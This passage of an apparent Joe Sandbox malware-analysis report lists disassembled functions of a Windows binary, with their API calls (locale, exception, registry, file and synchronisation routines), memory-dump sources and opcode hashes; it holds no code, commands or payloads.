Part of subcall function 00597E25: QueryPerformanceCounter.KERNEL32(00000000,?,?,?,0043E5A4,00000000,00000000,00000001,?,B6184AA8,00000000,?), ref: 00597E2E

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043E5F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043E624
__alldvrm.LIBCMT ref: 0043E643
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043E66B

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$PerformanceQuery$CounterFrequency__alldvrm
String ID:
API String ID: 2057067329-0
Opcode ID: b28f20d0f8c2c974716a9ecad171d7c6cc3d752ac0814f6d499641ec801b21a1
Instruction ID: 23675ceb5b0afbe498d976fd99840d7de24b5da65edc1d5ba871569111755ad4
Opcode Fuzzy Hash: b28f20d0f8c2c974716a9ecad171d7c6cc3d752ac0814f6d499641ec801b21a1
Instruction Fuzzy Hash: FA31C1B17053012FD718DE2D9C4AB3BAAEDEBC8390F06466EF509C7390E5249C0147A9

Function 005948E0 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00594923
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0059496B

Part of subcall function 00596522: _Yarn.LIBCPMT ref: 00596541
Part of subcall function 00596522: _Yarn.LIBCPMT ref: 00596565

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 005949A4
std::_Lockit::~_Lockit.LIBCPMT ref: 00594A51

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Locinfo::_LockitYarn$Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID:
API String ID: 2090653598-0
Opcode ID: 416657e1491860573e42f398e1d64e08a3092a551844414ecc95fb877f746152
Instruction ID: ddea7f7dead896a818f6ec111e18d9046210c280705122ae43471feb939c2323
Opcode Fuzzy Hash: 416657e1491860573e42f398e1d64e08a3092a551844414ecc95fb877f746152
Instruction Fuzzy Hash: 04413AB4C05389DAEF10DFE8C909B9EBFF8BF15304F144559E845AB242E774AA08CB51

Function 00456770 Relevance: 6.1, APIs: 4, Instructions: 115registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(B6184AA8,?,?,?,005D2E50,?,B6184AA8,00000000,00000000), ref: 00456811
RegCloseKey.ADVAPI32(00000000), ref: 00456830
SetLastError.KERNEL32(00000000), ref: 0045683B
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,B6184AA8,00000000,00000000), ref: 00456872

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseErrorInfoLastOpenQuery
String ID:
API String ID: 4026330008-0
Opcode ID: e5458b7693ea0cc52fd412e1375cd3e08baeb9cb82b6742287dbaac575dd3231
Instruction ID: 131795237cb70539c186e4881efa4aac4ea31d61da64b6a872f1cfc12de93dc8
Opcode Fuzzy Hash: e5458b7693ea0cc52fd412e1375cd3e08baeb9cb82b6742287dbaac575dd3231
Instruction Fuzzy Hash: A5317571D01119AFCB14DFA5D949BAEBBB8FF08705F11056AE815E3341DB38AE04CB94

Function 0045C7E0 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00428260: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00426C02,00000000,00000000,00000000,00000000,B6184AA8,?), ref: 00428316
Part of subcall function 00428260: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00426C02,?,?,00000000,00000000,00000000,00000000), ref: 00428381

___std_exception_copy.LIBVCRUNTIME ref: 0045C856
___std_exception_destroy.LIBVCRUNTIME ref: 0045C869
___std_exception_copy.LIBVCRUNTIME ref: 0045C873
___std_exception_destroy.LIBVCRUNTIME ref: 0045C886

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ByteCharMultiWide___std_exception_copy___std_exception_destroy
String ID:
API String ID: 2337458698-0
Opcode ID: 337073bfed25e0a8221628599372eb7cabd16a59413b7710ab869352e1933ecb
Instruction ID: 78c3354c9744acd5f5ee30752f63fdb459ca4a8d6219ed777b1e86ef2c495dab
Opcode Fuzzy Hash: 337073bfed25e0a8221628599372eb7cabd16a59413b7710ab869352e1933ecb
Instruction Fuzzy Hash: 9931B3B1D002199FCF04DBA8DC89AEEBBB8FF45315F10422AF815A7241EB3495088BA5

Function 045A8B0A Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 045A8B40
__isleadbyte_l.LIBCMT ref: 045A8B6E
MultiByteToWideChar.KERNEL32(?,00000009,00000000,?,00000000,00000000,?,00000000,00000000,?,0000000C,00000000,00000000), ref: 045A8B9C
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000001,00000000,00000000,?,00000000,00000000,?,0000000C,00000000,00000000), ref: 045A8BD2

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 86ad98e99abfdeef0e5e43c6f976bf2558398f59aa5df3ed3034cd5d82b1ec1f
Instruction ID: 032dc9db5223b56638039b34d11d0756e68dd73fdea0c8166edd08cc23bb23b1
Opcode Fuzzy Hash: 86ad98e99abfdeef0e5e43c6f976bf2558398f59aa5df3ed3034cd5d82b1ec1f
Instruction Fuzzy Hash: EF31D07160024AEFDB21AE35EC44BAE7BB9FF41310F154569E854871A0E731F869FB90

Function 00404490 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0040472B
CreateFileW.KERNEL32(00000000,00000000), ref: 0040488A
GetLastError.KERNEL32 ref: 00404897
DebugActiveProcessStop.KERNEL32(?), ref: 004048A3

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ActiveCloseCreateDebugErrorFileHandleLastProcessStop
String ID:
API String ID: 1397270038-0
Opcode ID: 9b6055a42ddc330aacfe943dda24c4e5e04fad77e2d34d185fcbcfdad5e1b82e
Instruction ID: 9fa9da8bbffab6ceaa545f8cc02cc6d640f972daac4cdc95e1e353d88701d767
Opcode Fuzzy Hash: 9b6055a42ddc330aacfe943dda24c4e5e04fad77e2d34d185fcbcfdad5e1b82e
Instruction Fuzzy Hash: 2641BFB5A012688FCB209B24DD007ADB7B1BB84320F2581DAD999773C0DF386E41CF95

Function 00404691 Relevance: 6.1, APIs: 4, Instructions: 89fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0040472B
CreateFileW.KERNEL32(00000000,00000000), ref: 0040488A
GetLastError.KERNEL32 ref: 00404897
DebugActiveProcessStop.KERNEL32(?), ref: 004048A3

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ActiveCloseCreateDebugErrorFileHandleLastProcessStop
String ID:
API String ID: 1397270038-0
Opcode ID: 8aa10990b272b3d33d7e3aff0699e6baf35eabaeaa30057c81c031f483de5ba3
Instruction ID: de3013ec263c2b05345cd7e8306b066b4078613e4d9f84487f4a3a877745fbdc
Opcode Fuzzy Hash: 8aa10990b272b3d33d7e3aff0699e6baf35eabaeaa30057c81c031f483de5ba3
Instruction Fuzzy Hash: B9318DB5A012688FDB209B24DD407ADB7B1BB44310F1581DAD999B73C0DF386E41CF95

Function 00424470 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00451F40: InitializeCriticalSection.KERNEL32(00000000,?,?,0042500B,?,B6184AA8,?,00000018), ref: 00451F69
Part of subcall function 00451F40: DeleteCriticalSection.KERNEL32(00000000,?,?,0042500B,?,B6184AA8,?,00000018), ref: 00451F83
Part of subcall function 00451F40: EnterCriticalSection.KERNEL32(00000000,006ECEAC,006ECEB0,?,?,?,004244B3,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 00451FCD

CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,0042500B,?,B6184AA8,?), ref: 00424538
LeaveCriticalSection.KERNEL32(?), ref: 0042454D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$Leave$CloseCreateDeleteEnterEventHandleInitialize
String ID:
API String ID: 3435541109-0
Opcode ID: eb1d150622885654fa770463fbc794063567acb0d263bd3192a902c741b48fc4
Instruction ID: b704bf57df1068b3a6ea6f7cf6e9b8cec65456468616245a59d13c61f197e102
Opcode Fuzzy Hash: eb1d150622885654fa770463fbc794063567acb0d263bd3192a902c741b48fc4
Instruction Fuzzy Hash: 25310271E00315AFDB219F54D845BAEFBB0FF85B10F64421AE51567290DB792980CBA0

Function 0040B788 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040B7A4

Part of subcall function 00596522: _Yarn.LIBCPMT ref: 00596541
Part of subcall function 00596522: _Yarn.LIBCPMT ref: 00596565

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0040B7BE
std::_Lockit::~_Lockit.LIBCPMT ref: 0040B853
std::_Facet_Register.LIBCPMT ref: 0040B860

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Locinfo::_Yarn$Facet_Locinfo_ctorLocinfo_dtorLockitLockit::~_Register
String ID:
API String ID: 132789047-0
Opcode ID: 72247456a3ed6ede0eef3ff2818399ce3419397245dc3f95bcff7ebf29ac040d
Instruction ID: 30026471bf04ed9dd469aa793343307435b58f372e5dd32095756bd180cd47e9
Opcode Fuzzy Hash: 72247456a3ed6ede0eef3ff2818399ce3419397245dc3f95bcff7ebf29ac040d
Instruction Fuzzy Hash: 182136F4D012459BEF10DBA4E84979EBFB8BF41344F084425E901AB392E778D918DB56

Function 00437E80 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

VerSetConditionMask.NTDLL ref: 00437EED
VerSetConditionMask.NTDLL ref: 00437EF5
VerSetConditionMask.NTDLL ref: 00437EFD
VerifyVersionInfoW.KERNEL32(00000000,00000023,00000000), ref: 00437F24

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion
String ID:
API String ID: 2793162063-0
Opcode ID: 356a53bbd30f3084a3b2c00ff9c5b90c72ff052c6b20ca7893c964f09d1ced73
Instruction ID: 8b0742b56e6e5bc40b11707a031762c1abef6fae1799b1cdd50171c732702034
Opcode Fuzzy Hash: 356a53bbd30f3084a3b2c00ff9c5b90c72ff052c6b20ca7893c964f09d1ced73
Instruction Fuzzy Hash: 0C110DB16443406FE724DF65DC0EBAB76E8EB98B04F00491DB589D62C0E7B856188BA6

Function 004289A0 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004289E8
___std_exception_destroy.LIBVCRUNTIME ref: 004289F8
___std_exception_copy.LIBVCRUNTIME ref: 00428A02
___std_exception_destroy.LIBVCRUNTIME ref: 00428A15

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID:
API String ID: 2970364248-0
Opcode ID: a3ee408ea7baa729ed2cc7ae58eee4c97772c43885b2df7e0f51396301b83eec
Instruction ID: 3ee263c5235676619829466903eac44d85fa94e47725a6170bfcf05aa1b57c1b
Opcode Fuzzy Hash: a3ee408ea7baa729ed2cc7ae58eee4c97772c43885b2df7e0f51396301b83eec
Instruction Fuzzy Hash: AD112171D0021EABCF00EFA9DC458EEBBF9BF55314B40425AE515A3201EB745658CBD1

Function 045AA29D Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 045AA2C1

Part of subcall function 045AA9A8: __fltout2.LIBCMT ref: 045AA9D1

__cftog_l.LIBCMT ref: 045AA2E7
__cftoe_l.LIBCMT ref: 045AA319

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: d3be3cd7a1b60e12fb74116c323b2938e13fdfb45592b6f9750113fe2a72d591
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: B701483214014EBBDF225E84DC418EE3F62BF58258B588816FA1898031D337EAB1FB81

Function 00461080 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 289synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(00000002,000000FF,?,B6184AA8,?,00000033), ref: 004611A3
CloseHandle.KERNEL32(00000002), ref: 004611BA

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 004611EC, 0046121A

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterEventObjectSingleWait
String ID: lifetime_object must be allocated on static memory (static or global variable or member of such a variable).
API String ID: 3951272266-2706815617
Opcode ID: b41938906341a966e06c7225dd69389ffd5818aa150655bb01cb54460592155b
Instruction ID: 7a77661e24759b52d8ca485fc4ca354d84959aeb6530c820761b226acff223a2
Opcode Fuzzy Hash: b41938906341a966e06c7225dd69389ffd5818aa150655bb01cb54460592155b
Instruction Fuzzy Hash: 3DB1A0B0A007059FCB00DF65D8557AEBBF4FF58314F14866EE815A7391EB38A908CB96

Function 00597A51 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00597BB4

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00597B12, 00597B49, 00597B4E
-, xrefs: 00597BE2

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: b87cbeeaab08d6b03521ebc178514f3a399c438b6c594ea867043974a5342eac
Instruction ID: 80547ed472ef4f4e8166e6e83e5b623f798b93db449041efd3634bf7257fbeea
Opcode Fuzzy Hash: b87cbeeaab08d6b03521ebc178514f3a399c438b6c594ea867043974a5342eac
Instruction Fuzzy Hash: 0851D530B2C25D9ACF258E6D84817BEBFF6BF4E710F18845BE491D7241E2748A41CB51

Function 0055DEA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(?,000000FF,?,B6184AA8,?,00000000), ref: 0055DFC3
CloseHandle.KERNEL32(?), ref: 0055DFDA

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0055E00C, 0055E03A

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterEventObjectSingleWait
String ID: lifetime_object must be allocated on static memory (static or global variable or member of such a variable).
API String ID: 3951272266-2706815617
Opcode ID: b4095e790970c8493b45e24ced3a6a880f541a217cbcf772a6bd691441b30db2
Instruction ID: e2cc6b7dd9506d5f166e8bae2709973681349fa700754d7b21a0b03c29e05569
Opcode Fuzzy Hash: b4095e790970c8493b45e24ced3a6a880f541a217cbcf772a6bd691441b30db2
Instruction Fuzzy Hash: CA518DB1D042099FDB11DFA4D955BDEFBB4FF14314F10826AE815A7291EB74AA08CFA0

Function 00424FA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142synchronizationCOMMON

Download Yara Rule

APIs

